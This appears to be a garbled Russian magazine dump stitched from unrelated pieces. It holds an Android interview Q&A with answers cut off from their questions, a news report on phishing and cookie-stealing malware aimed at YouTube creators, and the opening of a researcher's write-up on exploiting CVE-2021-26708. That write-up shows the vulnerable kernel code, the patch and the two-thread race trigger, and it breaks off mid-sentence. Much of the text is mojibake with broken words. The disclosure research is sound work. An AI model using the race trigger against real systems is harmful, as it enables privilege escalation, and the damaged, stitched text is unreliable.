Ìîæ íî ëè èñïîëü çîâàòü íåñ êîëü êî áëî êîâ init?

8.  Это фун кция, исполне ние которой может
быть оста нов лено и возоб новле но поз же. Такие фун кции обыч но исполь- 
зуют ся для пос ледова тель ного выпол нения асин хрон ного кода.

×òî òàêîå suspend-ôóí êöèÿ?

9.   вызыва- 
ется, даже ког да на экра не появ ляет ся диалог, нап ример диалог под- 
твержде ния раз решения. Метод  будет выз ван, толь ко ког да
текущая активность сме нит ся дру гой пол ноэк ранной активностью.

Îñ íîâíàÿ ðàç íèöà ìåæ äó onPause() è onClose()? onPause

onClose

10.  Пер вая вклю чает

в себя кон текст при ложе ния.

×åì îòëè ÷àåò ñÿ AndroidViewModel îò ViewModel?

11.  Эта биб лиоте ка поз воля ет заг- 

ружать и отоб ражать дан ные неболь шими пор циями.

Çà ÷åì íóæ íà Jetpack Paging Library?

12.  Он зна читель но упро- 

щает управле ние навига цией внут ри при ложе ния.

Çà ÷åì íóæåí Jetpack Navigation Component?

13.  В основном потоке при ложе ния —
UI-потоке. Но при желании поток мож но изме нить.
Â êàêîì ïîòîêå ðàáîòà åò ñåð âèñ?

14.  Клас сичес кий

сер вис пред назна чен для выпол нения дол гих фоновых опе раций, Intent
Service — для неболь ших задач, которые мож но отдать на исполне ние
и забыть.

Â ÷åì ðàç íèöà ìåæ äó ñåð âèñîì è Intent Service?

15.  ProGuard (в нас тоящее вре мя он
заменен на внут реннюю реали зацию от Google) поз воля ет умень шить раз- 
мер APK, уда лить из него неис поль зуемые клас сы и зат рудня ет
реверс-инжи ниринг.

Çà ÷åì èñïîëü çîâàòü ProGuard?

16.  Он опре деля ет, в каком потоке будет

выпол нять ся корути на.

×òî òàêîå Coroutine Dispatcher?

17.  Он опре деля ет жиз ненный цикл корути ны.

Корути ны, при над лежащие одно му Scope, будут завер шены, ког да закон- 
чится жиз ненный цикл CoroutineScope.

×òî òàêîå CoroutineScope?

ÁÈÁËÈÎÒÅÊÈ

 — под борка биб лиотек для муль тип латфор менной раз-
работ ки на Kotlin;

• Awesome KMM

 — биб лиоте ка, пре обра зующая API Android с кол бэков
на suspend-фун кции Kotlin;

• Callback-ktx

 — оче ред ная биб лиоте ка навига ции для Jetpack Compose;• TypedNavigation
 — биб лиоте ка, которая упро щает соз дание экра нов

нас тро ек для Jetpack Compose;
• ComposePreferences

 — биб лиоте ка для генера ции JPEG из UI-ком понен тов на экра- 
не;

• JetCapture

 — кноп ка, которая может выпол нять нес коль ко раз ных дей ствий
с помощью выпада юще го меню;

• SplitButton

 — биб лиоте ка для работы с кон такта ми;• ContactStore
 — UI-эле мент для соз дания тай млай нов;• TimelineView

 — рас ширение биб лиоте ки DataStore для шиф рования
нас тро ек;

• Encrypted-datastore

 — кол лекция UI-эле мен тов для Jetpack Compose;• SSComposeCookBook
 — ими тация перево рачи вания стра ниц как в реаль ной кни- 

ге;
• PageTurningLib

 — добав ляет под дер жку переме щения эле мен тов
в Compose LazyList;

• ComposeReorderable

 — упро щает навига цию в Jetpack Compose;• Compose-destinations
 — биб лиоте ка тран сфор мации XML и JSON в Java-объ екты. • MapNeat
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Мно гие юту беры ста ли жер тва ми хорошо
ско орди ниро ван ных фишин говых атак, где
глав ной целью прес тупни ков был угон чужих
YouTube-каналов и финан совая выгода.
Про исхо дило это два года назад, но в
Google пре дали инци дент огласке толь ко
сей час. Давай прой дем ся по изло жен ным
в отче те ком пании фак там и раз берем ся,
что имен но про исхо дило.

Спе циалис ты Google Threat Analysis Group (TAG) , что два года
назад мно жес тво юту беров ста ли жер тва ми хорошо ско орди ниро ван ных
фишин говых атак, где глав ной целью прес тупни ков был угон чужих YouTube-
каналов и финан совая выгода. Отчет ком пании гла сит, что за эти ми ата ками
сто яло нес коль ко лиц, которых орга низа торы схе мы нанима ли через объ- 
явле ния о вакан сиях на рус ско языч ных хак-форумах.

рас ска зали

Ис сле дова тели Google TAG пишут, что им уда лось отсле дить форумы, где
хак-груп па, сто ящая за ата ками, вер бовала пар тне ров для про веде ния
фишин говых атак и атак с исполь зовани ем соци аль ной инже нерии. Сог ласно
серии таких рек ламных объ явле ний, пар тне рам груп пиров ки пред лагалось
получить 25% или 75% от доходов с укра ден ного акка унта, в зависи мос ти
от уров ня их учас тия и слож ности фишин га. Акка унты обыч но выс тавля лись
на про дажу по цене от 20 до 10 000 дол ларов США.

Îò÷åò Google

Эк спер ты обра тили вни мание на про исхо дящее еще в 2019 году, ког да
на форумах под дер жки Google ста ли появ лять ся мас совые жалобы на взлом
акка унтов YouTube: , , , , . При чем от взло мов стра дали даже те акка унты,
вла дель цы которых поль зовались двух фактор ной аутен тифика цией.

1 2 3 4 5

Как сооб щает ся теперь, зло умыш ленни ки активно исполь зовали в сво их
ата ках фишин говые пись ма, а так же соци аль ную инже нерию — спе циаль ные
стра ницы фей кового ПО и учет ные записи в соци аль ных сетях. Целью хакеров
было зараже ние машин юту беров мал варью для кра жи информа ции, которая
выбира лась в зависи мос ти от пред почте ний каж дого отдель ного зло умыш- 
ленни ка. Иссле дова тели говорят, что в этих ата ках были задей ство ваны такие
вре донос ные прог раммы, как RedLine, Vidar, Predator The Thief, Nexus stealer,
Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad и Kantal, а так же опен сор- 
сные решения ( ) и мал варь, чей исходный код ранее утек
в сеть ( ).

AdamantiumThief
Sorano

Ког да тот или иной вре донос про никал на машину жер твы, он исполь- 
зовал ся для кра жи учет ных дан ных и фай лов cookie бра узе ра, что в ито ге поз- 
воляло зло умыш ленни кам зах ватывать учет ные записи, про водя ата ки типа
pass-the-cookie.

«

»

«Õîòÿ ýòîò ìåòîä àòàê èçâåñòåí óæå íåñ êîëü êî äåñÿòè ëåòèé, åãî âîç- 

ðîæäå íèå â êà÷åñ òâå ãëàâ íîé óãðî çû áåçîïàñ íîñòè ìîã ëî áûòü ñâÿ- 

çàíî ñ áîëåå øèðîêèì âíåä ðåíè åì ìíî ãîôàê òîðíîé àóòåí òèôèêà öèè,

çàò ðóäíÿ þùåé ïîäîá íûå çëî óïîò ðåáëå íèÿ, à òàê æå ñî ñìå ùåíè åì

âíè ìàíèÿ çëî óìûø ëåííè êîâ ê èñïîëü çîâàíèþ ñîöè àëü íîé èíæå íåðèè.

Áîëü øàÿ ÷àñòü íàá ëþäà åìûõ íàìè âðå äîíîñ íûõ ïðîã ðàìì áûëà

ñïî ñîá íà ïîõèùàòü êàê ïàðîëè ïîëü çîâàòå ëåé, òàê è ôàé ëû cookie.

Â íåêîòî ðûõ îáðàçöàõ [ìàë âàðè] èñïîëü çîâàëîñü íåñ êîëü êî ìåòîäîâ

áîðü áû ñ ïåñî÷ íèöàìè, âêëþ ÷àÿ ðàç äóâàíèå ôàé ëîâ è çàøèô ðîâàí- 

íûå àðõè âû», — ïèøóò àíà ëèòè êè TAG.

Как пра вило, заг рузить мал варь юту беров вынуж дали в нес коль ко эта пов,
начиная обще ние с пред ложения о сот рудни чес тве или кол лабора ции. К при- 
меру, мошен ники свя зыва лись с жер тва ми и про сили их уста новить и про тес- 
тировать раз личные при ложе ния, а затем опуб ликовать на них отзыв
или обзор. При ложе ния, обыч но исполь зуемые в этих схе мах, вклю чали анти- 
вирус ное ПО, кли енты VPN, музыкаль ные пле еры, фоторе дак торы, опти миза- 
торы ПК или онлайн-игры. Внут ри таких при ложе ний, конеч но, скры валась
мал варь.

При мер пись ма-при ман ки

В отче те отме чает ся, что Google активно обна ружи вал и бло киро вал фишин- 
говые ссыл ки хакеров, отправ ляемые через Gmail, поэто му зло умыш ленни ки
приг лашали жертв про дол жить обще ние в при ложе ниях для обме на сооб- 
щени ями, таких как WhatsApp, Telegram или Discord.

Пос ле того как цель сог лашалась на сдел ку, ей давали ссыл ку на стра ницу
с мал варью, замас кирован ную под URL-адрес для заг рузки ПО. Ссыл ка
отправ лялась в пись ме, в фор мате PDF на Google Drive, а в некото рых слу чаях
исполь зовались докумен ты Google Docs, содер жащие фишин говые ссыл ки.

«

»

«Íåêîòî ðûå èç òàêèõ âåá‑ñàé òîâ âûäàâà ëè ñåáÿ çà ñàé òû ñ çàêîí íûì

ïðîã ðàì ìíûì îáåñ ïå÷åíè åì, âêëþ ÷àÿ Luminar, Cisco VPN, èãðû

â Steam, à íåêîòî ðûå áûëè ñîç äàíû ñ èñïîëü çîâàíè åì îíëàéí‑øàá- 

ëîíîâ», — îòìå ÷àþò àíà ëèòè êè TAG.

Во вре мя рас сле дова ния экспер ты Google выяви ли поряд ка 1011 доменов,
свя зан ных с эти ми ата ками, и при мер но 15 000 учет ных записей, которые
хакеры спе циаль но соз дали для дан ной кам пании. Такие акка унты исполь- 
зовались для отправ ки фишин говых писем, содер жащих вре донос ные ссыл- 
ки.

«

»

«Â ñîò ðóäíè ÷åñ òâå ñ YouTube, Gmail, Trust & Safety, CyberCrime

Investigation Group è Safe Browsing ìû ñìîã ëè ñíè çèòü êîëè÷åñ òâî

ôèøèí ãîâûõ ïèñåì â Gmail íà 99,6% ñ ìàÿ 2021 ãîäà. Òàê æå ìû çàá- 

ëîêèðî âàëè 1,6 ìèë ëèîíà ñîîá ùåíèé, àäðå ñîâàí íûõ æåð òâàì, îòîá- 

ðàçèëè îêî ëî 62 000 ïðå äóï ðåæäå íèé Safe Browsing î ïðîñ ìîòðå

ôèøèí ãîâûõ ñòðà íèö, çàá ëîêèðî âàëè 2400 ôàé ëîâ è â 4000 ñëó ÷àåâ

óñïåøíî âîñ ñòà íîâè ëè ó÷åò íûå çàïèñè ïîñ òðà äàâ øèõ.

Ìû çàìåòè ëè, ÷òî áëà ãîäà ðÿ íàøèì óñè ëèÿì ïî îáíà ðóæå íèþ

[àòàê] çëî óìûø ëåííè êè ñòà ëè ïåðåõî äèòü ñ Gmail íà äðó ãèå ñåð âèñû

ýëåê òðîí íîé ïî÷ òû (â îñíîâíîì íà email.cz, seznam.cz, post.cz

è aol.com). Áîëåå òîãî, ÷òî áû çàùèòèòü íàøèõ ïîëü çîâàòå ëåé, ìû

ïåðåäà ëè ñîá ðàííóþ èíôîðìà öèþ â ÔÁÐ äëÿ äàëü íåéøå ãî ðàñ ñëå- 

äîâà íèÿ», — îò÷è òàëèñü ñïå öèàëèñ òû Google.

Ðàññëåäîâàíèå The Record

Из дание  сооб щает, что наб людало за раз вити ем этой ситу ации
и вре донос ной кам пани ей с самого 2019 года. Так, жур налист изда ния
Каталин Чим пану (Catalin Cimpanu) сра зу заподоз рил, что при веден ный ниже
твит, где рас ска зыва ется о челове ке, который потерял свой канал на YouTube,
свя зав шись с потен циаль ным спон сором (анти вирус ной ком пани ей), был
далеко не еди нич ным слу чаем.

The Record

Чим пану рас ска зыва ет, что ском про мети рован ные опи сан ным спо собом
акка унты и YouTube-каналы хакеры, как пра вило, выс тавля ли на про дажу.
К при меру, еще пару лет назад он отсле дил укра ден ную учет ную запись

, гей мера из США, которая была угна на и вско ре появи лась в про- 
даже на рус ско языч ном сай те Trade Groups.
MarcoStyle

Ос нован ный в 2014 году, этот сайт заяв ляет, что пред став ляет собой прос той
мар кет плейс, подоб но Amazon, где любой жела ющий может зарегис три- 
ровать ся, а затем выс тавить на про дажу свои груп пы и учет ные записи
в соци аль ных сетях. Хотя ресурс очень ста рает ся выг лядеть легаль ным,
помимо укра ден ного акка унта MarcoStyle, жур налист обна ружил нес коль ко
поль зовате лей, которые ежед невно выс тавля ли на про дажу сот ни учет ных
записей, явно не явля ясь закон ными вла дель цами этих про филей. Сто ит
отме тить, что Trade Groups работа ет до сих пор и по-преж нему пред лага ет
такой же кон тент.

Еще в нояб ре 2019 года Чим пану свя зал ся с выб ранны ми слу чай ным
обра зом поль зовате лями, чьи акка унты в соц сетях (осо бен но акка унты
YouTube и Instagram) про дава лись на Trade Groups. В телефон ных раз говорах
и по перепис ке более двад цати человек опи сали ему тот же сце нарий
хищения учет ной записи, что теперь опи сан в све жем отче те Google. К при- 
меру, упо мяну тый MarcoStyle сооб щил, что перед взло мом к нему обра тились
с пред ложени ем про тес тировать новый инс тру мент опти миза ции игр под наз- 
вани ем Orio и сде лать его обзор.

«

»

«Êàê òîëü êî ÿ óñòà íîâèë åãî, ÿ ïîíÿë, ÷òî ÷òî‑òî íå òàê. ß çíàë, ÷òî

ó ìåíÿ âêëþ ÷åíà 2ÔÀ, íî âñå ðàâ íî ïîòåðÿë äîñ òóï ê ó÷åò íîé çàïèñè.

×åëîâåê, êîòîðûé ïðèñ ëàë ìíå ïèñü ìî, òàê è íå îòâå òèë, à ÷åðåç íåñ- 

êîëü êî äíåé êòî‑òî ñîîá ùèë ìíå, ÷òî ìîÿ ó÷åò íàÿ çàïèñü ïðî äàåò ñÿ

â èíòåðíå òå», — ðàñ ñêà çûâàë MarcoStyle â 2019 ãîäó.

The Record опи сыва ет не менее печаль ный опыт дру гих жертв. К при меру,
у румын ской мод ной бло гер ши угна ли акка унты на YouTube, в Facebook
и Instagram, пос ле того как она уста нови ла при ложе ние, яко бы пред назна чен- 
ное для под клю чения к бэкен ду рек ламно го агентства (в рам ках под готов ки
к будуще му сот рудни чес тву). Акка унт на YouTube, который к тому момен ту соб- 
рал око ло тысячи под писчи ков, вер нуть так и не уда лось. В ито ге девуш ка
отка залась от попыток сде лать карь еру бло гера, не желая начинать с нуля
с новой учет ной записью.

Дру гой пос тра дав ший, поль ский гей мер L. L., потерял YouTube-канал
с 12 000 под писчи ков, получив пись мо от челове ка, который наз вался пред- 
ста вите лем игро вой ком пании. Через нес коль ко дней акка унт был выс тавлен
на про дажу на Trade Groups все го за 25 000 руб лей.

Еще одним юту бером, с которым пооб щался жур налист, был рос сий ский
гей мер San4esGG, так же потеряв ший свой акка унт. Он так и не сумел вос ста- 
новить учет ную запись, хотя подал зап рос в Google.

Êðèïòîâàëþòíûé ñêàì è âûìîãàòåëüñòâî

Од ним лишь «сбо ром показа ний» пос тра дав ших жур налист The Record
не огра ничил ся и наб людал, что про исхо дило с укра ден ными акка унта ми
на про тяже нии пос леду ющих лет. Так, некото рые учет ные записи пос тоян но
пере име новы вались, меняя вла дель цев, но боль шинс тво про дан ных акка- 
унтов в ито ге воз вра щались в руки сво их пер воначаль ных вла дель цев, при чем
некото рые быс трее дру гих.

Как ока залось, мно гие покупа тели ворован ных акка унтов прек расно
понима ли, что за товар им дос тался, и осоз навали, что в течение нес коль ких
дней или недель учет ная запись вер нется к сво ему нас тояще му хозя ину.
Поэто му мошен ники стре мились монети зиро вать такие акка унты быс тро.
К при меру, мно гие учет ные записи исполь зовались для раз мещения корот ких
стри мов, чаще все го свя зан ных с крип товалют ным мошен ничес твом.
Это отме чают в сво ем отче те и экспер ты TAG:

«

»

«Íàç âàíèå êàíàëà, èçîá ðàæåíèå ïðî ôèëÿ è êîí òåíò çàìåíÿ ëèñü áðåí- 

äîì êðèï òîâàëþ òû, ÷òî áû âûäàòü [êàíàë] çà êðóï íóþ ôèð ìó èëè êðèï- 

òîâàëþò íóþ áèð æó. Çëî óìûø ëåííèê òðàí ñëè ðîâàë âèäåî â ïðÿ ìîì

ýôè ðå, îáå ùàÿ ðàç äà÷ó êðèï òîâàëþ òû â îáìåí íà ïåð âîíà÷àëü íûé

âçíîñ», — ãëà ñèò îò÷åò.

На про тяже нии все го 2020 года жур налист наб людал, как похищен ные учет- 
ные записи пере име новы вались в офи циаль ные акка унты Бил ла Гей тса, Ило- 
на Мас ка или Линуса Тор валь дса, и все они в ито ге прод вигали раз личное
мошен ничес тво и крип товалют ные схе мы Пон ци.

Обыч но, показы вая ролики, в которых зна мени тос ти обсужда ют крип- 
товалю ты и свя зан ные с блок чей ном темы (как пра вило, это записи каких-то
ста рых интервью и выс тупле ний), мошен ники про сят зри телей прис лать им
неболь шое количес тво крип товалю ты, обе щая удво ить и вер нуть любую
получен ную сум му.

С сожале нием отме чу, что подоб ные мошен ничес кие схе мы исправ но при- 
носят зло умыш ленни кам хорошую при быль. Хотя годы идут и у мно гих извес- 
тных людей в про филях дав но появи лись не толь ко галоч ки верифи кации
акка унтов, но и нед вусмыс ленные при пис ки в духе «Не раз даю крип товалю- 
ту!», мно жес тво поль зовате лей по-преж нему верит в такие фей ки и полага ет,
что Илон Маск, братья Уинк лвосс, Билл Гей тс и дру гие извес тные лич ности
дей стви тель но могут раз давать «лиш ние» бит кой ны всем жела ющим.

Нап ример, в 2018 году такая афе ра в Twitter при нес ла мошен никам 
 все го за один день, а в начале 2021 года мошен ники,

выдавав шие себя за Ило на Мас ка, «зарабо тали» на довер чивых поль зовате- 
лях  за неделю.

бо- 
лее 180 000 дол ларов

бо лее 580 000 дол ларов
Си туация с подоб ными фей ками порой доходит до абсурда. В прош лом

году Стив Воз няк и еще более десяти истцов даже  на ком панию
YouTube из-за мошен ничес ких видео, рек ламиру ющих фик тивные раз дачи
бит кой нов.

по дали в суд

Тог да истцы заяв ляли, что YouTube рас полага ет все ми нуж ными инс тру мен- 
тами для выяв ления и пре сече ния подоб ных нежела тель ных дей ствий, одна ко
ком пания не пред при нима ет для это го даже оче вид ных шагов (нап ример,
не отфиль тро выва ет ролики, в наз вани ях которых фигури руют такие фра зы,
как «раз дача бит кой нов»).

Так же истцы утвер жда ли, что YouTube не прос то пас сивно допус кает раз-
мещение подоб ных видео. По их сло вам, рекомен датель ные алго рит мы
YouTube прод вига ют подоб ные ролики сре ди крип товалют ных энту зиас тов и в
дан ные видео встра ива лась рек лама, то есть плат форма получа ла пря мую
при быль от мошен ничес ких видео.

Так же угнанные каналы могут исполь зовать ся для дру гих целей. К при- 
меру, еще в 2020 году экспер ты ком пании IntSights обна ружи ли, что в дар кне- 
те  к учет ным дан ным от YouTube-каналов. Так как YouTube пре- 
дос тавля ет мошен никам новую ауди торию, ее мож но монети зиро вать
самыми раз ными спо соба ми, от мошен ничес тва до рек ламы. Но иссле дова- 
тели так же опи сыва ли слу чаи, ког да у вла дель цев укра ден ных каналов
вымога ли выкуп, угро жая в слу чае неоп латы поп росту про дать канал.

рас тет инте рес

mailto:nefedova@glc.ru
https://blog.google/threat-analysis-group/phishing-campaign-targets-youtube-creators-cookie-theft-malware/
https://support.google.com/youtube/thread/15297157/my-channel-was-hijacked-and-they-changed-my-channel-ownership-how-do-i-report-this?hl=en
https://support.google.com/youtube/thread/22221399/my-youtube-channel-has-been-hacked-hijacked-ownership-changed?hl=en
https://support.google.com/youtube/thread/18661601/my-google-and-youtube-account-has-been-hacked-how-to-restore-it?hl=en
https://support.google.com/youtube/answer/76187?hl=en
https://support.google.com/youtube/thread/21565175/phished-youtube-account-lost-ownership-to-channel-still-have-access-to-google-account?hl=en
https://github.com/LimerBoy/Adamantium-Thief
https://github.com/Alexuiop1337/SoranoStealer
https://therecord.media/google-unmasks-two-year-old-phishing-malware-campaign-targeting-youtube-users
https://www.youtube.com/c/MarcoStyle
https://xakep.ru/2018/11/07/fake-musk-strike-again/
https://xakep.ru/2021/01/15/fake-musk-strikes-again/
https://xakep.ru/2020/07/27/woz-sues-youtube/
https://xakep.ru/2020/06/05/youtube-credentials/
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В янва ре 2021 года я обна ружил и устра нил
пять уяз вимос тей в реали зации вир туаль- 
ных сокетов ядра Linux, которые получи ли
иден тифика тор . В этой
статье я деталь но рас ска жу об экс плу ата- 
ции одной из них с целью локаль ного
повыше ния при виле гий на Fedora 33 Server
для плат формы x86_64. Я покажу, как с
помощью неболь шой ошиб ки дос тупа
к памяти ата кующий может получить кон- 
троль над всей опе раци онной сис темой
и при этом обой ти средс тва обес печения
безопас ности плат формы. В зак лючение я
рас ска жу про воз можные средс тва пре дот- 
вра щения ата ки.

CVE-2021-26708

С док ладом по этой теме я  на кон ферен ции . Получи- 
лось инте рес ное иссле дова ние. Сос тояние гон ки в ядре Linux при водит
к пор че четырех бай тов в ядер ной памяти, и я пос тепен но прев ращаю это в
про изволь ное чте ние/запись и пол ный кон троль над сис темой. Поэто му я
наз вал статью «Сила четырех бай тов».

выс тупил Zer0Con 2021

ÓßÇÂÈÌÎÑÒÈ

Уяз вимос ти  — это сос тояния гон ки, выз ванные неп равиль- 
ной работой с при мити вами син хро низа ции в . Эти
ошиб ки были неяв но вне сены в код ядра вер сии  в нояб ре 2019 года,

ког да в реали зацию вир туаль ных сокетов была добав лена под дер жка нес- 
коль ких типов тран спор та. Эти сокеты в ядре Linux слу жат для обще ния меж ду
вир туаль ными машина ми и гипер визором.

CVE-2021-26708
net/vmw_vsock/af_vsock.c
5.5-rc1

Уяз вимый код пос тавля ется в дис три бути вах GNU/Linux в виде модулей
 и . Эти модули авто мати чес ки

заг ружа ются сис темой при соз дании сокета в домене :
CONFIG_VSOCKETS CONFIG_VIRTIO_VSOCKETS

AF_VSOCK

    vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

Соз дание сокета в домене  дос тупно неп ривиле гиро ван ным поль- 

зовате лям и не тре бует наличия фун кци ональ нос ти user namespaces. Таким
обра зом, вир туаль ные сокеты сос тавля ют часть повер хнос ти ата ки ядра Linux.

AF_VSOCK

ÎØÈÁÊÈ È ÈÑÏÐÀÂËÅÍÈß

11 янва ря я про верял резуль таты фаз зинга ядра на сво их стен дах и обна- 
ружил подоз ритель ный отказ ядра в фун кции

. Было стран но, что фаз зер не смог пов- 
торно вос про извести этот эффект, поэто му я стал изу чать исходный код
и раз рабаты вать прог рамму-реп родюсер вруч ную.

virtio_transport_notify_buffer_size()

Нес коль ко дней спус тя я нашел ошиб ку в ядер ной фун кции
, которую слов но добави ли спе циаль но:vsock_stream_setsockopt()

  struct sock *sk;
  struct vsock_sock *vsk;
   const struct vsock_transport *transport;

/* ... */

  sk = sock->sk;
  vsk = vsock_sk(sk);

  transport = vsk->transport;

lock_sock(sk);

Здесь ука затель на тран спорт вир туаль ного сокета копиру ется в локаль ную
перемен ную  вызовом фун кции . Но ведь зна чение 

 может изме нить ся, ког да бло киров ка на сокет еще не уста нов- 

лена! Это оче вид ное сос тояние гон ки. Я про верил весь код в фай ле
 и нашел еще четыре такие же ошиб ки.

ïå ðåä lock_sock() vsk->
transport

af_vsock.c
Ис тория раз работ ки ядра в Git помог ла понять, как появи лись эти пять

оши бок. Дело в том, что изна чаль но тран спорт вир туаль ного сокета не мог
изме нить ся, то есть мож но было безопас но копиро вать зна чение 

 в локаль ную перемен ную. Но потом в ком митах 

и  для вир туаль ных сокетов была добав лена под дер жка
нес коль ких видов тран спор та, и это неяв но внес ло в ядро сра зу пять сос- 
тояний гон ки.

vsk->
transport c0cfa2d8a788fcf4

6a2c0962105ae8ce

Ис пра вить эти уяз вимос ти очень прос то:

... 
 sk = sock->sk;
 vsk = vsock_sk(sk); 

- transport = vsk->transport; 

 lock_sock(sk);

+ transport = vsk->transport; 
... 

ÎÒÂÅÒÑÒÂÅÍÍÎÅ ÐÀÇÃËÀØÅÍÈÅ, ÊÎÒÎÐÎÅ ÏÎØËÎ ÍÅ ÒÀÊ

30 янва ря, пос ле того как закон чил про тотип экс пло ита, я отпра вил информа- 
цию об уяз вимос тях и исправ ление (патч) по адре су ,

то есть выпол нил про цеду ру ответс твен ного раз гла шения (responsible
disclosure). Мне опе ратив но отве тили Линус Тор валь дс и Грег Кроа-Хар тман,
и мы догово рились о сле дующем поряд ке дей ствий.

security@kernel.org

1. Я отправ ляю исправ ляющий патч в откры тый спи сок рас сылки ядра Linux
(Linux Kernel Mailing List, LKML).

2. Патч при меня ют в основном ядре и ста биль ных вер сиях, которые были
под верже ны уяз вимос тям.

3. Я уве дом ляю про изво дите лей GNU/Linux-дис три бути вов через спи сок
рас сылки  о том, что дан ное исправ ление важ но
для безопас ности сис темы.

linux-distros

4. На конец, я пуб лично раз гла шаю информа цию об уяз вимос тях через спи- 
сок рас сылки , ког да про изво- 
дите ли дис три бути вов поз волят это сде лать.

oss-security@lists.openwall.com

На самом деле пер вый пункт доволь но спор ный. Линус решил при нять мой
патч сра зу, без эмбарго на раз гла шение (disclosure embargo), потому что
«этот патч не силь но отли чает ся от пат чей, которые мы при нима ем каж дый
день» (the patch doesn’t look all that different from the kinds of patches we do
every day). Я под чинил ся, но пред ложил отпра вить патч откры то. Это важ но,
потому что ина че каж дый может отсле дить исправ ления безопас ности, если
отфиль тру ет ком миты, которые не обсужда лись в пуб личном спис ке рас- 
сылки. Недав но эта тех ника была рас смот рена в 

.
од ной иссле дова тель ской

работе
2 фев раля вто рая вер сия моего пат ча была при нята в вет ку 

 и отту да . 4 фев раля Грег при менил мое исправ- 
ление в ста биль ных вет ках ядра, которые были под верже ны уяз вимос тям.
Сра зу пос ле это го я уве домил , что

исправ ленные уяз вимос ти мож но экс плу ати ровать для локаль ного повыше- 
ния при виле гий в сис теме. Я спро сил, сколь ко пот ребу ется вре мени, преж де
чем я сде лаю пуб личное раз гла шение информа ции об уяз вимос тях. Но я
получил неожи дан ный ответ:

netdev/net.
git по пала в вет ку Линуса

linux-distros@vs.openwall.org

«
»

If the patch is committed upstream, then the issue is public. Please send

to oss-security immediately.

То есть меня поп росили немед ленно рас крыть информа цию о най ден ных
и исправ ленных уяз вимос тях в пуб личном спис ке рас сылки .

Стран но. Как бы то ни было, я  иден тифика тор CVE через
cve.mitre.org и  в спи сок рас сылки 

.

oss-security
зап росил

от пра вил пись мо oss-security@lists.
openwall.com

Воз ника ет воп рос: íàñ êîëü êî ýòà ïðàê òèêà íåìåä ëåííî ãî ïðè- 

íÿòèÿ ïàò ÷à â âàíèëü íîå ÿäðî ñîâ ìåñòè ìà ñ ðàáîòîé îðãà íèçà öèé

â linux-distros?

У меня есть контрпри мер. Ког да я обна ружил ядер ную уяз вимость 
 и выпол нил ответс твен ное раз гла шение, Кейс Кук (Kees Cook)

и Грег орга низо вали недель ное эмбарго на раз гла шение информа ции. Мы
уве доми ли орга низа ции из , и за эту неделю они под готови ли

обновле ния безопас ности дис три бутив ных ядер, куда вошел мой исправ- 
ляющий патч. Затем, по окон чании эмбарго, про изво дите ли GNU/Linux-дис- 
три бути вов син хрон но выпус тили обновле ния безопас ности. Получи лось
хорошо.

CVE-
2017-2636

linux-distros

ÊÀÊ ÏÎÐÒÈÒÑß ßÄÅÐÍÀß ÏÀÌßÒÜ

Те перь рас смот рим экс плу ата цию уяз вимос тей . Для локаль- 
ного повыше ния при виле гий в сис теме я выб рал сос тояние гон ки в фун кции

. Для того что бы вос про извести эту ошиб ку,
тре бует ся два потока. В пер вом потоке вызыва ется :

CVE-2021-26708

vsock_stream_setsockopt()
setsockopt()

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
     &size, sizeof(unsigned long));

Этот поток сох раня ет ука затель на вир туаль ный тран спорт в локаль ную
перемен ную (в этом зак люча ется ошиб ка), а затем пыта ется зах ватить бло- 
киров ку вир туаль ного сокета в фун кции . В этот

момент вто рой поток дол жен поменять тран спорт вир туаль ного сокета.
Для это го нуж но к нему перепод клю чить ся:

vsock_stream_setsockopt()

    struct sockaddr_vm addr = {
     .svm_family = AF_VSOCK,
};

  addr.svm_cid = VMADDR_CID_LOCAL;
     connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

  addr.svm_cid = VMADDR_CID_HYPERVISOR;
     connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

При обра бот ке сис темно го вызова  для вир туаль ного сокета ядро
выпол няет фун кцию , которая дер жит бло киров ку

вир туаль ного сокета. А тем вре менем  в пер вом

потоке пыта ется эту бло киров ку зах ватить. Отлично, это то, что нуж но для сос- 
тояния гон ки. При этом фун кция  вызыва ет

, которая содер жит инте ресу ющий нас код:

connect()
vsock_stream_connect()

vsock_stream_setsockopt()

vsock_stream_connect()
vsock_assign_transport()

  if (vsk->transport) {
      if (vsk->transport == new_transport)

        return 0;

   /* transport->release() must be called with sock lock acquired.
    * This path can only be taken during vsock_stream_connect(),
    * where we have already held the sock lock.
    * In the other cases, this function is called on a new socket
    * which is not assigned to any transport.
    */
   vsk->transport->release(vsk);
   vsock_deassign_transport(vsk);
}

Что про исхо дит в этом коде? Вто рой вызов  выпол няет ся с новым

зна чени ем , поэто му для пре дыду щего вир туаль ного тран спор та

выпол няет ся дес трук тор . Он вызыва ет фун- 
кцию , в которой струк тура 

 осво бож дает ся и ука затель  уста нав лива ется в NULL.

connect()
svm_cid

vsock_deassign_transport()
virtio_transport_destruct() vsock_sock.

trans vsk->transport
Пос ле это го  отпуска ет бло киров ку вир туаль- 

ного сокета, а фун кция  в пер вом потоке

наконец-то может ее зах ватить и про дол жить исполне ние. Далее в пер вом
потоке вызыва ются  и 

. Но ука затель  содер жит 

, оно не соот ветс- 

тву ет , где записан NULL. Поэто му ядро по ошиб ке выпол- 

няет обра бот чик , который пор тит
ядер ную память:

vsock_stream_connect()
vsock_stream_setsockopt()

vsock_update_buffer_size() transport->
notify_buffer_size() transport óñ òàðåâ øåå

íåàê òóàëü íîå çíà ÷åíèå èç ëîêàëü íîé ïåðåìåí íîé

vsk->transport
virtio_transport_notify_buffer_size()

     void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64
*val)
{
       struct virtio_vsock_sock *vvs = vsk->trans;

      if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
         *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

     vvs->buf_alloc = *val;

    
 

virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM
, NULL);
}

Здесь  — это ука затель на ядер ную память, которая была осво бож дена

в фун кции . Раз мер этой струк туры 

 — 64 бай та; дан ный объ ект живет в общем кеше алло- 
като ра . Поле , в которое про исхо дит оши боч ная

запись, име ет тип  и рас положе но по отсту пу 40 байт от начала струк туры.

 име ет зна чение  и не меша ет

ата ке. Зна чение  кон тро лиру ется ата кующим, и четыре млад ших бай та
 записы вают ся в осво бож денную ядер ную память. То есть эта уяз- 

вимость при водит к .

vvs
